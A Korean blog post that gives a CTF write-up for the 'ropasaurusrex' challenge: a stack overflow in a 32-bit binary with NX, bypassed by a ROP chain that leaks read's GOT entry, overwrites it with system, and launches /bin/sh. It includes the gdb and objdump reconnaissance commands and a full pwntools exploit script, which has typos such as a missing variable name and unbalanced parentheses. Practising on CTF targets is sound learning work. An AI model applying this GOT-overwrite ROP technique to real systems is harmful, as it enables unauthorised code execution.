[plaid CTF] ropasaurusrex

2018. 8. 14. 21:02CTF's Write-up

첫번째로 현제 제기준에 조금은 난의도 있는문제를 write-up 쓰게 되었군요 ㅎ

3일전까지만해도 ROP가 엄청 헷갈리고그랬는데 exploit-exercise fusion level02문제를풀면서 진짜 많이 도움이 되었던거 같아요 ㅎㅎ level3부터는 자료만들고 이것저것 겹친것들이많아서 조금 지연될 것 같지만 그래도 최대한 빨리 노력해서 풀어볼 예정입니다. (잔말그만하고 본론으로 들어갈게요)


ropasaurusrex 문제는 저도 처음에 엄청 힘들어했었기 때문에 개념은 다 알려드리지 못하더라도 명령어와 풀이과정은 모두 알려드리도록 하겠습니다. xD


먼저 ropasaurusrex 바이너리파일을 다운받습니다.

ropasaurusrex


그리고는 가장 먼저 하는일!

IDA로 바이너리파일을 까고, 취약점이 어디인지 확인해봅니다!



main에서 저부분!을 클릭해서 들어가줍니다



?? 띠용 buf크기는 0x88인데 받는크기는 0x100 이게 무슨 취약점이였더라.....

그럼 그냥 간편하게 exploit해주면 되나?


하기전에 파일에 어떠한 보호기법들이 들어가있는지를 확인해 봅시다.

명령어 : checksec ropasarusex



nx라는 기법이 enable되어있네요!!

nx가 뭐죠? (non excute)

스택 & 힙에 실행권한 이 읎다!

보통 nx가 적용되어있는경우는 rop를 이용해서 우회합니다!

rop는 뭐지? 체인처럼 막막 리턴을 다음함수로 엮는 것 이에요.


이외에 다양한 보호기법들은 위 블로그를 참고하면 좋을 듯 합니다! : https://bpsecblog.wordpress.com/2016/05/16/memory_protect_linux_1/


그럼 이 파일에선 어떤 함수들을 사용 하는지 확인해봐야겠죠.!


명령어 : gdb -q ropasarusex

명령어 : info fun



write하고 read함수밖에 쓰지 않는군요!!

그럼 이를 이용해서 payload를 구성해 봅시다!


저희는 궁국적으로 system("/bin/sh")라는 조각을 만들어야합니다.

ex)

read_plt + pppr + 0 + bss + 8

    -> read_plt로 bss를 8만큼 쓴다

write_plt + pppr + 1 + read_got + 4

-> write_plt 에서 read_got주소를 읽어온다.

read_plt + pppr + 0 +read_got + 4

-> read_plt 로 read_got에 있는 값을 4만큼 쓴다.

read_plt + AAAA + "/bin/sh"

-> read_plt에 bss를 입력한다.


이렇게 구성이 됩니다.

그럼 각 인자들을 찾아야겠죠!

찾아야 할 인자들


1. read_plt

2. read_got

3. write_plt

4. pppr가젯

5. bss

6. read_plt - system

7. shell = "/bin/sh"

4번을 구하는 이유는 PPPR = (pop pop pop ret)  read나 write함수 안에 있는 인자들의 값을 빼주고 입력해야하기때문에 보통 인자 갯수만큼 pop을 한후 ret를 하는 가젯을 구합니다.

6번을 구하는 이유는 ASLR이라는 보호기법이 적용되어있어 항상 system주소의 위치가 바뀌게 됩니다. 하지만 두 함수간의 거리는 변하지 않기 때문에 offset을 구해서 이를 이용해 system위치를 찾는 것 입니다.


그럼 1번부터 차근차근 찾아봅시다!


1. read_plt

명령어 : objdump -d ./파일명 | grep read



2. read_got

명령어 : objdump -R ./파일명 | grep read



3. write_plt

명령어 : objdump -d ./ 파일명 | grep write



4. pppr가젯

명령어 : objdump -d ./파일명 | grep pop -A2



5. bss

명령어 :  gdb -q ./파일명

명령어 : info file



6. read_plt - system

명령어 : gdb -q ./파일명

명령어 : start

명령어 : p system

명령어 : p read

read에서 나오는 값과 system에서 나오는 값을 빼면 됩니다.



이제 이걸 이어서 payload를 작성해 봅시다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
 
= process("./rop")
 
read_plt = 0x0804832c
write_plt = 0x0804830c
read_got = 0x0804961c
bss = 0x08049628
shell = "/bin/sh"
pppr = 0x080484b6
offset = 0x9AD60
 
 
payload = ""
payload += "A"*140
payload += p32(read_plt) + p32(pppr) + p32(0+p32(bss) + p32(len(shell))
payload += p32(write_plt) + p32(pppr) + p32(1+ p32(read_got) + p32(4)
payload += p32(read_plt) + p32(pppr) + p32(0+ p32(read_got) + p32(4)
payload += p32(read_plt) + "AAAA" + p32(bss)
 
r.send(payload)
print("[+] send payload")
 
r.send(shell)
print("[+] send shell")
sleep(1)
 
 
readadd = u32(r.recv(4))
system = readadd - offset
 
print("[+] readadd : ", readadd)
print("[+] system add is : ", system) 
r.send(p32(system))
 
r.interactive()
 
cs


이런식으로 하면 exploit에 성공하게됩니다 :)



참고로... offset개인마다다릅니다 ^^7

'CTF's Write-up' 카테고리의 다른 글

[pico CTF 2013] rop1  (0) 2018.08.15
[TJCTF2018] - Weird Logo  (0) 2018.08.15
[TJCTF 2018] - Trippy  (0) 2018.08.14
[TJCTF 2018] - Blank  (0) 2018.08.13
[TJCTF2018] - Central Savings Account  (0) 2018.08.09